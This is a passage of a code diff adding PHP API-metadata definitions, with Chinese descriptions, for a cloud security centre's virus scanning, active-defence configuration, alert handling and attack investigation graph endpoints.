'89f5d7813bd59dd237580a8664b3xxxx', + ], + ], + [ + 'name' => 'MachineName', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'oracle-win-001****', + ], + ], + [ + 'name' => 'InternetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '公网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '120.27.XX.XX', + ], + ], + [ + 'name' => 'IntranetIp', + 'in' => 'query', + 'schema' => [ + 'description' => '内网IP。', + 'type' => 'string', + 'required' => false, + 'example' => '172.26.XX.XX', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页包含的任务的数量。默认值为**20**，表示每页包含20个任务。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'StatusList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '多个状态刷选填写的状态列表。', + 'type' => 'array', + 'items' => [ + 'description' => '病毒扫描任务的执行的状态。'."\n" + .'取值：'."\n" + .'- **1**：检测中'."\n" + .'- **2**：完成'."\n" + .'- **3**：失败'."\n" + .'- **4**：超时', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。'."\n" + .'取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回的消息体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '224', + ], + ], + ], + 'List' => [ + 'description' => '结果列表。', + 'type' => 'array', + 'items' => [ + 'description' => '列表中包含的数据体。', + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '检查任务的ID。', + 'type' => 'string', + 'example' => '2e75557bfa570381f5c516cad9b6xxxx', + ], + 'ScanType' => [ + 'description' => '病毒扫描的任务扫描类型。'."\n" + .'取值：'."\n" + ."\n" + .'- **system**：系统自动扫描'."\n" + .'- **user**：用户自定义扫描', + 'type' => 'string', + 'example' => 'system', + ], + 'Status' => [ + 'description' => '病毒扫描任务的执行的状态。'."\n" + .'取值：'."\n" + .'- **1**：检测中'."\n" + .'- **2**：完成'."\n" + .'- **3**：失败'."\n" + .'- **4**：超时', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'StartTime' => [ + 'description' => '开始时间戳（毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1651290987000', + ], + 'EndTime' => [ + 'description' => '结束时间戳（毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1662343860051', + ], + 'InstanceName' => [ + 'description' => '服务器实例名称。', + 'type' => 'string', + 'example' => 'sql-test-0****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '8.210.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '172.25.XX.XX', + ], + 'TaskName' => [ + 'description' => '任务名称。'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描。', + 'type' => 'string', + 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', + ], + 'Progress' => [ + 'description' => '任务进度百分比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '62', + ], + 'ScanPath' => [ + 'description' => '扫描的文件信息。', + 'type' => 'array', + 'items' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'example' => 'C:/test1', + ], + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 224\\n },\\n \\"List\\": [\\n {\\n \\"TaskId\\": \\"2e75557bfa570381f5c516cad9b6xxxx\\",\\n \\"ScanType\\": \\"system\\",\\n \\"Status\\": 1,\\n \\"StartTime\\": 1651290987000,\\n \\"EndTime\\": 1662343860051,\\n \\"InstanceName\\": \\"sql-test-0****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"TaskName\\": \\"VIRUS_VUL_SCHEDULE_SCAN\\",\\n \\"Progress\\": 62,\\n \\"ScanPath\\": [\\n \\"C:/test1\\"\\n ],\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询病毒扫描的扫描任务', + ], + 'GetVirusScanConfig' => [ + 'summary' => '获取病毒扫描周期性任务配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '168831', + 'abilityTreeNodes' => [ + 'FEATUREsasE5WAEJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'TaskType', + 'in' => 'query', + 'schema' => [ + 'description' => '任务类型。取值：'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描', + 'type' => 'string', + 'required' => false, + 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6BDEFC', + ], + 'Data' => [ + 'description' => '调用成功时，返回的数据。', + 'type' => 'object', + 'properties' => [ + 'SelectionKey' => [ + 'description' => '保存资产信息的键值。'."\n" + .'> 您可以调用[GetAssetSelectionConfig](~~GetAssetSelectionConfig~~)接口获取该参数。', + 'type' => 'string', + 'example' => '345ddbea-a57f-437e-832f-fb7a1202xxxx', + ], + 'TaskType' => [ + 'description' => '任务类型。取值：'."\n" + .'- **VIRUS\\_VUL\\_SCHEDULE\\_SCAN**：病毒扫描。', + 'type' => 'string', + 'example' => 'VIRUS_VUL_SCHEDULE_SCAN', + ], + 'ScanType' => [ + 'description' => '病毒扫描的扫描类型。取值：'."\n" + .'- **system**：系统扫描'."\n" + .'- **user**：自定义扫描。', + 'type' => 'string', + 'example' => 'user', + ], + 'ScanPath' => [ + 'description' => '如果是自定义扫描需要传输的扫描路径信息。', + 'type' => 'array', + 'items' => [ + 'description' => '如果是自定义扫描需要传输的扫描路径信息。', + 'type' => 'string', + 'example' => '/root', + ], + ], + 'PeriodUnit' => [ + 'description' => '扫描周期的单位，取值：'."\n" + .'- **day**：天。', + 'type' => 'string', + 'example' => 'day', + ], + 'TargetStartTime' => [ + 'description' => '任务开始时间（小时）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'TargetEndTime' => [ + 'description' => '任务结束时间（小时）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'IntervalPeriod' => [ + 'description' => '间隔周期。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'Enable' => [ + 'description' => '是否启用。取值：'."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ConfigId' => [ + 'description' => '配置对应的ID。'."\n" + .'>调用[DescribeCycleTaskList](~~DescribeCycleTaskList~~)接口可以获取该参数。', + 'type' => 'string', + 'example' => '97a1fed216908e417407344e1505xxxx', + ], + 'AdditionType' => [ + 'description' => '拓展的扫描类型。', + 'type' => 'array', + 'items' => [ + 'description' => '拓展扫描类型：'."\n" + .'- **SCAN_MEMORY**：内存扫描', + 'type' => 'string', + 'example' => 'SCAN_MEMORY', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6BDEFC\\",\\n \\"Data\\": {\\n \\"SelectionKey\\": \\"345ddbea-a57f-437e-832f-fb7a1202xxxx\\",\\n \\"TaskType\\": \\"VIRUS_VUL_SCHEDULE_SCAN\\",\\n \\"ScanType\\": \\"user\\",\\n \\"ScanPath\\": [\\n \\"/root\\"\\n ],\\n \\"PeriodUnit\\": \\"day\\",\\n \\"TargetStartTime\\": 0,\\n \\"TargetEndTime\\": 6,\\n \\"IntervalPeriod\\": 7,\\n \\"Enable\\": 1,\\n \\"ConfigId\\": \\"97a1fed216908e417407344e1505xxxx\\",\\n \\"AdditionType\\": [\\n \\"SCAN_MEMORY\\"\\n ]\\n }\\n}","type":"json"}]', + 'title' => '获取病毒扫描周期行配置', + ], + 'DescribeScanTaskProgress' => [ + 'summary' => '查询病毒扫描任务进度。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的病毒扫描任务ID。'."\n" + .'> 您可以调用[StartVirusScanTask](~~StartVirusScanTask~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '282832', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TargetInfo' => [ + 'description' => '病毒扫描任务扫描的资产信息。该参数使用JSON数组转化的字符串格式表示。包含以下字段：'."\n" + .'- **type**：执行病毒扫描的资产类型。取值：'."\n" + .' - **groupId**：服务器分组。'."\n" + .' - **uuid**：服务器。'."\n" + .'- **name**：服务器分组名称或服务器的名称。'."\n" + .'- **target**：执行病毒扫描的资产。以下是该字段的取值说明：'."\n" + .' - **type**的值为**groupId**时，该字段为服务器分组ID。'."\n" + .' - **type**的值为**uuid**时，该字段为服务器的UUID。', + 'type' => 'string', + 'example' => '[{"type":"uuid","name":"host001","target":"503201a7-14c6-4280-801b-1169ed42****"}]', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'EA15BA8A-D631-4375-8D40-CB7C769B0279', + ], + 'ScanTaskProgress' => [ + 'description' => '病毒扫描任务的进度。取值：'."\n" + .'- **init**：扫描任务初始化中。'."\n" + .'- **Processing**：扫描任务进行中。'."\n" + .'- **Success**：扫描任务已完成。'."\n" + .'- **Failed**：扫描任务执行失败。'."\n", + 'type' => 'string', + 'example' => 'Success', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"TargetInfo\\": \\"[{\\\\\\"type\\\\\\":\\\\\\"uuid\\\\\\",\\\\\\"name\\\\\\":\\\\\\"host001\\\\\\",\\\\\\"target\\\\\\":\\\\\\"503201a7-14c6-4280-801b-1169ed42****\\\\\\"}]\\",\\n \\"RequestId\\": \\"EA15BA8A-D631-4375-8D40-CB7C769B0279\\",\\n \\"ScanTaskProgress\\": \\"Success\\"\\n}","errorExample":""},{"type":"xml","example":"\\n [{\\"type\\":\\"uuid\\",\\"name\\":\\"host001\\",\\"target\\":\\"503201a7-14c6-4280-801b-1169ed42****\\"}]\\n EA15BA8A-D631-4375-8D40-CB7C769B0279\\n Success\\n","errorExample":""}]', + 'title' => '查询病毒扫描任务进度', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'OperateSuspiciousTargetConfig' => [ + 'summary' => '管理主动防御的防御范围。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '1.2.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '设置主动防御的类型。取值'."\n" + .'- **auto_breaking**：表示自动拦截。'."\n" + .'- **webshell_cloud_breaking**：表示网站后门连接防御。'."\n" + .'- **alinet**：表示恶意网络行为防御。'."\n" + .'- **ransomware_breaking**：表示防勒索（诱饵捕获）。'."\n" + .'- **alisecguard**：表示客户端自保护。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => 'auto_breaking', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '管理主动防御的操作维度，目前支持以服务器UUID维度进行管理。'."\n" + ."\n" + .'唯一取值：**uuid**。', + 'type' => 'string', + 'required' => true, + 'example' => 'uuid', + ], + ], + [ + 'name' => 'TargetOperations', + 'in' => 'query', + 'schema' => [ + 'description' => '为服务器设置主动防御的参数。包括以下参数：'."\n" + ."\n" + .'- **targetType**：防御配置的维度，目前支持UUID维度，固定值：**uuid**。'."\n" + .'- **target**：需要设置防御配置的服务器的UUID。'."\n" + .'- **flag**：为服务器开启或关闭主动防御，可选择**add**（开启）或**del**（关闭）。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '"[{"targetType":"uuid","target":"0585f81a-dd84-4ddf-9971-f59d12345678","flag":"add"},{"targetType":"uuid","target":"01acfd9d-e6a4-4e61-b9eb-aae012345678","flag":"add"},{"targetType":"uuid","target":"04a0e735-ad32-4835-b635-045812345678","flag":"add"}]"', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'ABCD-PSD2-5256-1DSA-4222-JHBN', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"ABCD-PSD2-5256-1DSA-4222-JHBN\\"\\n}","errorExample":""},{"type":"xml","example":"\\n ABCD-PSD2-5256-1DSA-4222-JHBN\\n","errorExample":""}]', + 'title' => '设置病毒拦截的检测配置', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'OperateVirusEvents' => [ + 'summary' => '批量处理病毒防御的告警。处理类型有：深度查杀、加入白名单、忽略、手工处理。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92417', + 'abilityTreeNodes' => [ + 'FEATUREsasE5WAEJ', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'OperationCode', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的处理方式。取值：'."\n" + ."\n" + .'- **default**：深度查杀'."\n" + .'- **ignore**：忽略'."\n" + .'- **advance\\_mark\\_mis_info**：加白名单'."\n" + .'- **manual_handled**：我已手工处理', + 'type' => 'string', + 'required' => true, + 'example' => 'default', + ], + ], + [ + 'name' => 'OperationRange', + 'in' => 'query', + 'schema' => [ + 'description' => '处置范围。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"type\\":\\"machine\\",\\"list\\":[\\"xxxxxxxxx-4cbf-4ca6-a1b7-8a09d1f86ab0\\"]}]', + ], + ], + [ + 'name' => 'OperationAll', + 'in' => 'query', + 'schema' => [ + 'description' => '是否全部处理。取值：'."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TaskId' => [ + 'description' => '批量处理病毒防御告警事件的任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'B72BEC03-001C-5C77-A4BB-1E6XXXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TaskId\\": 1,\\n \\"RequestId\\": \\"B72BEC03-001C-5C77-A4BB-1E6XXXXXXX\\"\\n}","type":"json"}]', + 'title' => '处理病毒防御告警', + ], + 'DescribeGraph4InvestigationOnline' => [ + 'summary' => '查询云工作负载（CWPP）告警事件的调查溯源图，可视化调查、还原黑客攻击过程。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92083', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'title' => '命名空间，图名称', + 'description' => '图的命名空间，固定为：hundun_dc_online。', + 'type' => 'string', + 'required' => true, + 'example' => 'hundun_dc_online', + ], + ], + [ + 'name' => 'AnomalyUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件资产UUID，可调用[DescribeSuspEvents](~~DescribeSuspEvents~~)获取告资产UUID，取值路径为：data.SuspEvents[index].Uuid。', + 'type' => 'string', + 'required' => false, + 'example' => '3502e4b0-f362-4059-84a2-f47fa2b5exxx', + ], + ], + [ + 'name' => 'AnomalyId', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件ID。可调用[DescribeSuspEvents](~~DescribeSuspEvents~~)获取告警事件ID，取值路径为：data.SuspEvents[index].UniqueInfo。', + 'type' => 'string', + 'required' => false, + 'example' => '786fc80896b25422b5324cb6e57bxxxx', + ], + ], + [ + 'name' => 'VertexId', + 'in' => 'query', + 'schema' => [ + 'description' => '顶点 ID。不需要主动传入。', + 'type' => 'string', + 'required' => false, + 'example' => '29872354f741b1b044b8a9b4e2ab****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '数据', + 'type' => 'object', + 'properties' => [ + 'EntityTypeList' => [ + 'description' => '顶点的类型列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'DisplayOrder' => [ + 'description' => '展示顺序', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'DisplayColor' => [ + 'description' => '顶点渲染颜色。', + 'type' => 'string', + 'example' => '#fff', + ], + 'DisplayIcon' => [ + 'description' => '顶点的图标。', + 'type' => 'string', + 'example' => 'https://img.alicdn.com/tfs/TB176P5OgDqK1RjSZSyXXaxEVXa-49-48.png', + ], + 'Name' => [ + 'description' => '顶点名称。', + 'type' => 'string', + 'example' => 'alert', + ], + 'Id' => [ + 'description' => '节点类型ID。', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + 'EdgeList' => [ + 'description' => '边列表。', + 'type' => 'array', + 'items' => [ + 'description' => '边的终点。', + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '边名称。', + 'type' => 'string', + 'example' => 'bash->apt-get', + ], + 'EndId' => [ + 'description' => '边的终点ID。', + 'type' => 'string', + 'example' => 'f944c2362c7e111dee16f0e70ad2xxxx', + ], + 'EndType' => [ + 'description' => '当前边的终点类型。取值包括但不限于：'."\n" + .'- **process**： 进程'."\n" + .'- **file**： 文件'."\n" + .'- **alert**： 告警'."\n" + .'- **ip**： IP地址'."\n" + .'- **domain**： 域名', + 'type' => 'string', + 'example' => 'process', + ], + 'StartId' => [ + 'description' => '边的起始点 ID。', + 'type' => 'string', + 'example' => 'f944c2362c7e111dee16f0e70ad2xxxx', + ], + 'StartType' => [ + 'description' => '边的起始点类型。取值包括但不限于：'."\n" + .'- **process**： 进程'."\n" + .'- **file**： 文件'."\n" + .'- **alert**： 告警'."\n" + .'- **ip**： IP地址'."\n" + .'- **domain**： 域名', + 'type' => 'string', + 'example' => 'file', + ], + 'Time' => [ + 'description' => '边的建立时间。', + 'type' => 'string', + 'example' => '2024-07-01 15:25:46', + ], + 'Type' => [ + 'description' => '边类型。', + 'type' => 'string', + 'example' => 'process_spawn_process', + ], + ], + ], + ], + 'VertexList' => [ + 'description' => '顶点列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'title' => 'uuid', + 'description' => '资产UUID。', + 'type' => 'string', + 'example' => '5c081b02-f66a-47a4-bd2f-79ee3eafxxxx', + ], + 'Type' => [ + 'title' => '顶点类型', + 'description' => '顶点类型。', + 'type' => 'string', + 'example' => 'alert', + ], + 'Name' => [ + 'title' => '顶点名称', + 'description' => '顶点名称。', + 'type' => 'string', + 'example' => '1a79b3a10ad5e6cad090dd697a7axxxxx', + ], + 'Time' => [ + 'title' => '时间', + 'description' => '时间。', + 'type' => 'string', + 'example' => '2024-07-02 16:14:01', + ], + 'Properties' => [ + 'title' => '属性', + 'description' => '属性。', + 'type' => 'string', + 'example' => '{\'DomainName\': {\'SupportScratchDetection\': False, \'Description\': \'The name of the domain.\', \'Required\': True, \'UpdateAllowed\': False, \'Type\': \'string\', \'Immutable\': False}}', + ], + 'NeighborList' => [ + 'description' => '与当前顶点相邻的顶点列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'HasMore' => [ + 'title' => '是否有更多', + 'description' => '是否有更多顶点相邻。', + 'type' => 'boolean', + 'example' => 'False', + ], + 'Count' => [ + 'title' => '数量', + 'description' => '相邻节点数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Type' => [ + 'title' => '邻居节点类型', + 'description' => '邻居节点类型。', + 'type' => 'string', + 'example' => 'alert', + ], + ], + ], + ], + ], + ], + ], + 'RelationTypeList' => [ + 'description' => '边的类型列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '边的名称。', + 'type' => 'string', + 'example' => 'spawn process', + ], + 'Directed' => [ + 'description' => '边的方向。取值'."\n" + .'- **1** ：正向'."\n" + .'- **0**：反向', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'DisplayColor' => [ + 'description' => '边的渲染颜色。', + 'type' => 'string', + 'example' => '#fff', + ], + 'DisplayIcon' => [ + 'description' => '边的图标样式。', + 'type' => 'string', + 'example' => 'https://img.alicdn.com/imgextra/i4/O1CN01ft6rvQ22uUX2JsTmv_!!6000000007180-55-tps-12-12.svg', + ], + ], + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用的结果状态。取值：'."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"EntityTypeList\\": [\\n {\\n \\"DisplayOrder\\": 1,\\n \\"DisplayColor\\": \\"#fff\\",\\n \\"DisplayIcon\\": \\"https://img.alicdn.com/tfs/TB176P5OgDqK1RjSZSyXXaxEVXa-49-48.png\\",\\n \\"Name\\": \\"alert\\",\\n \\"Id\\": \\"1\\"\\n }\\n ],\\n \\"EdgeList\\": [\\n {\\n \\"Name\\": \\"bash->apt-get\\",\\n \\"EndId\\": \\"f944c2362c7e111dee16f0e70ad2xxxx\\",\\n \\"EndType\\": \\"process\\",\\n \\"StartId\\": \\"f944c2362c7e111dee16f0e70ad2xxxx\\",\\n \\"StartType\\": \\"file\\",\\n \\"Time\\": \\"2024-07-01 15:25:46\\",\\n \\"Type\\": \\"process_spawn_process\\"\\n }\\n ],\\n \\"VertexList\\": [\\n {\\n \\"Uuid\\": \\"5c081b02-f66a-47a4-bd2f-79ee3eafxxxx\\",\\n \\"Type\\": \\"alert\\",\\n \\"Name\\": \\"1a79b3a10ad5e6cad090dd697a7axxxxx\\",\\n \\"Time\\": \\"2024-07-02 16:14:01\\",\\n \\"Properties\\": \\"{\'DomainName\': {\'SupportScratchDetection\': False, \'Description\': \'The name of the domain.\', \'Required\': True, \'UpdateAllowed\': False, \'Type\': \'string\', \'Immutable\': False}}\\",\\n \\"NeighborList\\": [\\n {\\n \\"HasMore\\": true,\\n \\"Count\\": 1,\\n \\"Type\\": \\"alert\\"\\n }\\n ]\\n }\\n ],\\n \\"RelationTypeList\\": [\\n {\\n \\"Name\\": \\"spawn process\\",\\n \\"Directed\\": 1,\\n \\"DisplayColor\\": \\"#fff\\",\\n \\"DisplayIcon\\": \\"https://img.alicdn.com/imgextra/i4/O1CN01ft6rvQ22uUX2JsTmv_!!6000000007180-55-tps-12-12.svg\\"\\n }\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\"\\n}","type":"json"}]', + 'title' => '查询告警事件的调查溯源图', + ], + 'DescribeSecurityEventMarkMissList' => [ + 'summary' => '查询告警自动加白规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '125.210.XX.XX', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件名称（子类型）。', + 'type' => 'string', + 'required' => false, + 'example' => 